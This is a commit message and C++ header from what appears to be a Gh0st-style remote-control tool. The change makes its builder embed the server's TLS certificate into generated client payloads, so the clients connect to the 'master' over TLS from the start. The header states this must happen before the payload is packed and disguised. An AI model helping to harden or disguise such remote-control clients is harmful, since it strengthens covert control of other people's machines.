When the server has TLS enabled, the builder can now bake its certificate into the client it produces, so a distributed client speaks TLS on its very first connection instead of waiting for the anchor to be pushed after a plaintext login. The dialog gets a checkbox (IDC_CHECK_TLS_ANCHOR) that is only enabled for payloads and protocols where an embedded anchor makes sense; the choice is remembered even when the control flips to disabled and back, so switching protocols cannot silently undo a deliberate opt-out. Every label variant stays short enough to fit the 196 DLU field, including the German ones. A template that predates the anchor block no longer aborts generation: it warns, clears the checkbox and produces a plain client, so a master upgraded without rebuilding the ghost/ServerDll resources does not block every build. The certificate lands in a fixed 4 KiB block (magic, version, length, FNV-1a hash, master address, PEM) carved out of the payload at build time. The client reads its trust anchor from four sources in order: the tls_disabled marker, the certificate the server pushed into the registry, a PEM file next to the executable, and finally the embedded block. The embedded block only applies to a connection whose target matches the master recorded at generation time, compared as an address set: an exact string match when only one address is configured, or an intersection of resolved IPv4 addresses otherwise. A transferred, shared or parallel instance falls back to the old plaintext first-connect path instead of pinning itself to a certificate it can never verify. That decision is made per connection, not per process: shared and parallel instances are threads inside a single client process, so a process-wide flag let whichever instance connected first decide for all of them, and the first load of the TLS state cached that answer for good. The TLS layer now keeps two cached states (embedded anchor allowed, and not allowed), picks one per handshake, and reports the anchor source of that handshake for the login capability bit. Matching by resolved address also keeps parallel mode working, where the connection goes to the single IP the domain pool selected while the configured master is a domain or a list. Server side, generated and updated payloads get the block written in place; the client reports the capability bit on login so the console can tell which hosts are already TLS-only on first connect. Loading the anchor decodes every PEM block in the chain rather than just the leaf, and an anchor that exists but fails to load keeps the old fail-closed behaviour. A pushed anchor only reconnects when the transport of the live connection actually changes, judged against that connection's own target rather than the process-wide switch. This was verified end to end against a freshly generated client with an empty registry: the first connection was a TLS 1.2 ClientHello 0.2 s after start, and a four-certificate fullchain loaded all four blocks. Re-verified after the per-connection rework with the anchor block patched into a debug client: with a matching master the first bytes are a ClientHello, with a foreign master the client logs the skip and sends plaintext, and a domain master resolves to the IP it connects to and still matches. A master domain that no longer resolves falls back to plaintext within a second and is not looked up again for a minute, instead of stalling every reconnect on a DNS timeout while holding the lock the certificate verification needs. Co-Authored-By: deepseek-flash
30 lines
1.8 KiB
C++
30 lines
1.8 KiB
C++
#pragma once
|
|
//
|
|
// 生成客户端时,把「服务端自己的 TLS 证书」写进客户端镜像里的锚块,让分发出去的客户端
|
|
// 首次连接就是 TLS —— 见 common/tls_anchor.h 与 docs/ClientEmbeddedTLS_Design.md §4.6。
|
|
//
|
|
#include <windows.h>
|
|
#include <string>
|
|
|
|
enum class EmbedResult {
|
|
Ok, // 写入成功
|
|
NoBlock, // payload 里没有锚块(老 stub,或用户自选的文件)
|
|
Ambiguous, // 找到多个通过校验的锚块——宁可报错也不猜
|
|
NoAnchor, // 服务端当前没有可用的信任锚
|
|
TooLong, // 证书 PEM 或主控地址超出槽位
|
|
};
|
|
|
|
// 把服务端当前信任锚(ServerTlsIdentity::AnchorPem)原地写进 payload 的锚块。
|
|
// master —— 生成时配置的主控地址(CONNECT_ADDRESS.szServerIP 的原样字符串,含分号多地址)。
|
|
// 客户端启动后据此判断「我是不是还连在生成时那台主控」。地址对不上就跳过内嵌锚。
|
|
// pemLen —— 成功时回填写入的 PEM 字节数(用于界面显示「这批客户端钉的是哪张证书」)。
|
|
// 必须在压缩 / 加壳 / 伪装之前调用:锚块与 CONNECT_ADDRESS 走同一条字节搬运路径,
|
|
// 上游写入才能被后续所有包装形态原样带下去。
|
|
EmbedResult EmbedTlsAnchorInto(BYTE* payload, DWORD size, const std::string& master,
|
|
DWORD& pemLen, std::string& err);
|
|
|
|
// 当前信任锚的一行摘要,例如 "builtin 2036-11-01 sha1:1a2b3c4d5e6f",用于生成结果里
|
|
// 核对「这批客户端钉的是哪张证书」(内置证书会重新生成,光看"成功"无法发现换了张)。
|
|
// 服务端当前没有可用锚、或 PEM 解析不出来时返回 false。
|
|
bool TlsAnchorSummary(std::string& out);
|